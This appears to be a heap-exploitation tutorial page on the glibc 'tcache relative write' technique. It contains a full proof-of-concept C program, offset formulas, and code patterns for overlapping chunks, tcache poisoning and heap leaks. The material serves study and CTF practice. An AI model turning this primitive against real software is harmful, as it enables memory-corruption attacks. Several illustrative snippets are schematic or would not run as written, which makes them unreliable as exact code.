Skip to main content

Overview

Tcache Relative Write is a powerful technique that exploits insufficient bounds checking on tcache bin indices to achieve out-of-bounds writes in the tcache_perthread_struct metadata. By writing a large value to mp_.tcache_bins, attackers can control where tcache metadata (counts and pointers) are written, enabling arbitrary decimal writes and chunk pointer writes on the heap.
Glibc Compatibility: Works on glibc 2.30+ where the tcache index vulnerability exists.

What It Achieves

This technique allows you to:
  • Write arbitrary decimal values (0-7+) to arbitrary heap locations
  • Write chunk pointers to arbitrary heap locations
  • Corrupt tcache metadata for further exploitation
  • Enable tcache poisoning without direct freelist corruption
  • Trigger heap leaks by manipulating metadata
Prerequisites:
  • Ability to write a large value (>64) to mp_.tcache_bins
  • Libc leak to locate mp_ structure
  • Ability to malloc/free with sizes > 0x408 (larger than tcache max)

The Core Vulnerability

The allocator doesn’t properly validate tcache bin indices. When you corrupt mp_.tcache_bins with a large value, you bypass the only check:
// From malloc/malloc.c
#define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)

// In tcache_put:
tc_idx = csize2tidx(chunk_size);
if (tc_idx < mp_.tcache_bins) {  // Only check!
    tcache->entries[tc_idx] = chunk;  // OOB write!
    ++tcache->counts[tc_idx];         // OOB write!
}
By making mp_.tcache_bins huge, any tc_idx passes the check, even out-of-bounds indices.

Full Source Code

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <malloc.h>

int main(void)
{
    /*
     * This document demonstrates TCache relative write technique
     * Reference: https://d4r30.github.io/heap-exploit/2025/11/25/tcache-relative-write.html
     *
     * Objectives: 
     *   - To write a semi-arbitrary (or possibly fully arbitrary) value into an arbitrary location on heap
     *   - To write the pointer of an attacker-controlled chunk into an arbitrary location on heap.
     * 
     * Cause: UAF/Overflow
     * Applicable versions: GLIBC >=2.30
     *
     * Prerequisites:
     * 	 - The ability to write a large value (>64) on an arbitrary location
     * 	 - Libc leak
     * 	 - Ability to malloc/free with sizes higher than TCache maximum chunk size (0x408)
     *
     * Summary: 
     * The core concept of "TCache relative writing" is around the fact that when the allocator is recording 
     * a tcache chunk in `tcache_perthread_struct` (tcache metadata), it does not enforce enough check and 
     * restraint on the computed tcachebin indice (`tc_idx`), thus WHERE the tcachebin count and head 
     * pointer will be written are not restricted by the allocator by any means.
     *
     * PoC written by D4R30 (Mahdyar Bahrami)
     */

    setbuf(stdout, NULL);
    
    printf("This file demonstrates TCache relative write, a technique used to achieve arbitrary decimal writing and chunk pointer arbitrary write on heap.\n");
    printf("The technique takes advantage of the fact that the allocator does not enforce appropriate restraints on the computed tcache indices (tc_idx)\n");
    printf("As a prerequisite, we should be capable of writing a large value (anything larger than 64) on an arbitrary location, which in our case is mp_.tcache_bins\n\n");    

    unsigned long *p1 = malloc(0x410);	// The chunk that we can overflow or have a UAF on
    unsigned long *p2 = malloc(0x100);	// The target chunk used to demonstrate chunk overlap
    size_t p2_orig_size = p2[-1];
    
    free(p1);	// In this PoC, we use p1 simply for a libc leak

    /* VULNERABILITY */

    printf("First of all, you need to write a large value on mp_.tcache_bins, to bypass the tcache indice check.\n");
    printf("This can be done by techniques that have unsortedbin attack's similar impact, like largebin attack, fastbin_reverse_into_tcache and house_of_mind_fastbins\n");
    
    // --- Step 1: Write a huge value into mp_.tcache_bins ---
    unsigned long *mp_tcache_bins = (void*)p1[0] - 0x910;   // Relative computation of &mp_.tcache_bins
    printf("&mp_.tcache_bins: %p\n", mp_tcache_bins);

    *mp_tcache_bins = 0x7fffffffffff;	// Write a large value into mp_.tcache_bins
    printf("mp_.tcache_bins is now set to a large value. This enables us to pass the only check on tc_idx\n\n");

    printf("If you're also capable of setting mp_.tcache_count to a large value, you can possibly achieve a *fully* arbitrary write.\n");

    /* END VULNERABILITY */

    // --- Step 2: Compute the correct chunk size to malloc and then free --- 
    /*
     * tc_index = (nb - 0x20 + 0x10 -1) / 0x10 = (nb - 0x11) / 0x10
     * Because tc_index is an integer: tc_index = (nb-16)/16 - 1
     * 
     * unsigned long *ptr_write_loc = (void*)(&tcache->entries) + 8*tc_index = (void*)(&tcache->entries) + (nb-16)/2 - 8
     * unsigned long *counter_write_loc = (void*)(&tcache->counts) + 2*tc_index = (void*)(&tcache->counts) + (nb-16)/8 - 2
     * 
     * For a chunk pointer arbitrary write: nb = 2*(delta+8)+16
     * For a counter arbitrary write: nb = 8*(delta+2)+16 
     */

    // --- Step 3: Combine with other techniques to create impactful attack chains ---

    // ---------------------------------
    // | Ex: Trigger chunk overlapping |
    // ---------------------------------
    printf("--- Chunk overlapping attack ---\n");
    printf("Now, our goal is to make a large overlapping chunk. We already allocated two chunks: p1(%p) and p2(%p)\n", p1, p2);
    printf("The goal is to corrupt p2->size to make it an overlapping chunk. The original usable size of p2 is: 0x%lx\n", p2_orig_size);
    printf("To trigger tcache relative write in a way that p2->size is corrupted, we need to compute the exact chunk size(nb) to malloc and free\n");
    printf("We use this formula: nb = 8*(delta+2)+16\n");

    void *tcache_counts = (void*)p1 - 0x290; 	// Get tcache->counts	
    unsigned long delta = ((void*)p2 - 6) - tcache_counts;

    // Based on the formula above: nb = 8*(delta+2)+16
    unsigned long nb = 8*(delta+2)+16;

    unsigned long *p = malloc(nb-0x10);	
    
    // Trigger TCache relative write
    free(p);
    
    assert(p2[-1] > p2_orig_size);
    printf("p2->size after tcache relative write is: 0x%lx\n\n", p2[-1]);

    free(p2);
    p = malloc(0x10100); 
    assert(p == p2);

    // -------------------------------------
    // | Ex: Chunk pointer arbitrary write |
    // -------------------------------------
    printf("--- Chunk pointer arbitrary write ---\n");
    printf("To demonstrate the chunk pointer arbitrary write capability, our goal is to write a freeing chunk pointer at p2->fd\n");
    printf("We use the formula nb = 2*(delta+8)+16");

    void *tcache_entries = (void*)p1 - 0x210;  // Compute &tcache->entries
    delta = (void*)p1 - tcache_entries;

    // Based on the formulas: nb = 2*(delta+8)+16
    nb = 2*(delta+8)+16; 

    printf("We should request and free a chunk of size 0x%lx\n", nb-0x10);
    p = malloc(nb-0x10); 

    printf("Freeing p (%p) to trigger relative write.\n", p);
    free(p);

    assert(p1[0] == (unsigned long)p);
    printf("p1->fd is now set to p, the chunk that we just freed.\n");
}

Step-by-Step Walkthrough

1

Obtain Libc Leak

Free a large chunk (>0x408) to get libc pointers:
unsigned long *leak_chunk = malloc(0x410);
free(leak_chunk);
unsigned long libc_leak = leak_chunk[0];  // Points into libc
2

Corrupt mp_.tcache_bins

Calculate the location of mp_.tcache_bins relative to the leak and write a huge value:
unsigned long *mp_tcache_bins = (void*)libc_leak - 0x910;
*mp_tcache_bins = 0x7fffffffffff;  // Bypass tc_idx check
This can be achieved via:
  • Large bin attack
  • Fastbin reverse into tcache
  • House of Mind (fastbins)
  • Any technique that writes large values to arbitrary locations
3

Calculate Target Delta

Compute the offset from tcache metadata to your target location:
void *tcache_base = <tcache_perthread_struct address>;
void *target = <where you want to write>;

// For counter write:
unsigned long delta = target - (tcache_base + 0x10);

// For pointer write:
unsigned long delta = target - (tcache_base + 0x80);
4

Calculate Required Chunk Size

Use the formulas to determine what size chunk to allocate:
// For counter write (arbitrary decimal):
size_t nb = 8 * (delta + 2) + 16;

// For pointer write (chunk address):
size_t nb = 2 * (delta + 8) + 16;
5

Trigger the Write

Allocate and free a chunk of the computed size:
void *trigger = malloc(nb - 0x10);
free(trigger);  // This writes to your target location!
When free calls tcache_put, the out-of-bounds tc_idx causes writes to your chosen location.
6

Exploit the Primitive

Use the written value for further exploitation:
  • Corrupt chunk sizes for overlapping chunks
  • Write chunk pointers for tcache poisoning
  • Manipulate metadata for other attacks

The Mathematics

Understanding tc_idx Calculation

The tcache index is computed as:
#define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)

// Expanding:
tc_idx = ((nb - 0x20 + 0x10 - 1) / 0x10)
       = (nb - 0x11) / 0x10
       = (nb - 16) / 16 - 1

Write Location Calculation

For pointer writes:
// tcache->entries is at tcache_base + 0x80
write_location = (tcache_base + 0x80) + (8 * tc_idx)
               = (tcache_base + 0x80) + (nb - 16)/2 - 8

// Solving for nb:
// delta = write_location - (tcache_base + 0x80)
// delta = (nb - 16)/2 - 8
// nb = 2*(delta + 8) + 16
For counter writes:
// tcache->counts is at tcache_base + 0x10
write_location = (tcache_base + 0x10) + (2 * tc_idx)
               = (tcache_base + 0x10) + (nb - 16)/8 - 2

// Solving for nb:
// delta = write_location - (tcache_base + 0x10)
// delta = (nb - 16)/8 - 2
// nb = 8*(delta + 2) + 16
Suppose:
  • tcache_base = 0x555555559000
  • Target location: 0x5555555596b8 (want to write counter here)
// Calculate delta
delta = 0x5555555596b8 - 0x555555559010  // (tcache_base + 0x10)
      = 0x6a8

// Calculate nb
nb = 8 * (0x6a8 + 2) + 16
   = 8 * 0x6aa + 16
   = 0x3560

// Allocate and free
void *p = malloc(0x3550);  // nb - 0x10
free(p);
// Now a counter is written at 0x5555555596b8!

Attack Patterns

Pattern 1: Overlapping Chunks

Corrupt a chunk’s size field to create overlaps:
// Target: p2->size (at p2 - 8)
void *p2 = <target chunk>;
void *tcache_counts = <tcache base + 0x10>;

unsigned long delta = ((void*)(p2 - 8)) - tcache_counts;
size_t nb = 8 * (delta + 2) + 16;

void *trigger = malloc(nb - 0x10);
free(trigger);  // Increments p2->size!

// Free and reallocate with larger size
free(p2);
void *large = malloc(0x10000);  // Overlaps next chunks

Pattern 2: Tcache Metadata Poisoning

Write chunk pointers into tcache->entries for poisoning:
// Target: tcache->entries[10] (arbitrary index)
void *tcache_entries = <tcache base + 0x80>;
void *target_entry = tcache_entries + (10 * 8);

unsigned long delta = target_entry - tcache_entries;
size_t nb = 2 * (delta + 8) + 16;

void *fake_chunk = <controlled address>;
void *trigger = malloc(nb - 0x10);
trigger[0] = fake_chunk;  // Set up fake next pointer
free(trigger);  // Writes trigger into tcache->entries[10]

// Now allocate to get fake_chunk
void *pwned = malloc(<size for index 10>);

Pattern 3: Heap Leak

Write chunk pointers to leak heap addresses:
// Target: Some readable location
void *leak_target = <where you can read>;
unsigned long delta = leak_target - (tcache_base + 0x80);
size_t nb = 2 * (delta + 8) + 16;

void *trigger = malloc(nb - 0x10);
free(trigger);

// Now leak_target contains a heap pointer
unsigned long heap_leak = *(unsigned long*)leak_target;

Why This Is Advanced

Tcache Relative Write is considered advanced because:
  1. Complex Prerequisites: Requires libc leak + ability to write large values
  2. Mathematical Precision: Must calculate exact chunk sizes from deltas
  3. Pointer Arithmetic Mastery: Understanding C pointer math and memory layout
  4. Multi-Stage Exploitation: Often used as primitive for more complex chains
  5. Version-Specific Offsets: Tcache structure layout varies by glibc version

Limitations and Considerations

Important Limitations:
  1. Requires Libc Leak: Must know mp_ address to corrupt tcache_bins
  2. Limited Write Values:
    • Counters: Write small integers (incremented on each free)
    • Pointers: Write chunk addresses (the freed chunk)
  3. Size Constraints: Chunk sizes must be valid and allocatable
  4. ASLR Considerations: Heap addresses change, but deltas remain constant

Achieving Fully Arbitrary Writes

If you can also corrupt mp_.tcache_count to a large value, you can write arbitrary decimals by freeing the same chunk multiple times:
*mp_tcache_count = 0x7fffffff;  // Allow many tcache entries

// Free same chunk multiple times to increment counter
for(int i = 0; i < desired_value; i++) {
    // Reset chunk for reuse
    free(trigger_chunk);
}

Combining with Other Techniques

With Large Bin Attack

Use large bin attack to corrupt mp_.tcache_bins:
// 1. Set up large bin attack
setup_large_bin_attack(&mp_tcache_bins);

// 2. Trigger write of large value
trigger_large_bin_attack();

// 3. Now use tcache relative write
apply_tcache_relative_write();

Large Bin Attack

Learn how to write large values to arbitrary locations

With House of Mind

// 1. Use House of Mind to corrupt mp_.tcache_bins
house_of_mind_fastbins();

// 2. Apply tcache relative write
apply_tcache_relative_write();

Debugging Tips

Use GDB with pwndbg/gef to visualize:
gdb ./exploit
(gdb) b tcache_put
(gdb) run

# When breakpoint hits:
(gdb) p tc_idx
(gdb) p/x &tcache->entries[tc_idx]
(gdb) p/x &tcache->counts[tc_idx]

# Check if out-of-bounds:
(gdb) p/x tcache
(gdb) x/100gx tcache  # See entire tcache structure

CTF Applications

This technique has been useful in:
  • Modern CTF challenges with limited primitives
  • Scenarios where direct tcache poisoning is prevented
  • Challenges requiring heap leak primitives
  • Situations where you have large bin attack but need more control

Common Pitfalls

Avoid These Mistakes:
  1. Wrong offset calculation: tcache->counts is at +0x10, tcache->entries at +0x80
  2. Forgetting alignment: Chunk sizes must be 0x10-aligned
  3. Off-by-one in formula: The formulas are precise - don’t adjust them
  4. Not accounting for chunk header: User size is nb - 0x10
  5. ASLR confusion: Use deltas, not absolute addresses in formulas

Implementation Helpers

// Helper function to calculate nb for counter write
size_t calc_nb_counter(void *tcache_base, void *target) {
    unsigned long delta = target - (tcache_base + 0x10);
    return 8 * (delta + 2) + 16;
}

// Helper function to calculate nb for pointer write  
size_t calc_nb_pointer(void *tcache_base, void *target) {
    unsigned long delta = target - (tcache_base + 0x80);
    return 2 * (delta + 8) + 16;
}

// Helper to verify calculation
void verify_calc(size_t nb, unsigned long delta, int is_pointer) {
    long tc_idx = (nb - 16) / 16 - 1;
    long offset = is_pointer ? (8 * tc_idx) : (2 * tc_idx);
    long base_offset = is_pointer ? 0x80 : 0x10;
    
    printf("nb=0x%lx tc_idx=0x%lx offset=0x%lx expected_delta=0x%lx\n",
           nb, tc_idx, offset, delta);
    assert(offset == delta);
}
  • Large Bin Attack - To corrupt mp_.tcache_bins
  • [House of Mind Fastbins/techniques/house/house-of-mind-fastbins) - Alternative corruption method
  • [Tcache Poisoning/techniques/tcache/tcache-poisoning) - What you can do with pointer writes
  • Overlapping Chunks - Using counter writes

References

See Also

Build docs developers (and LLMs) love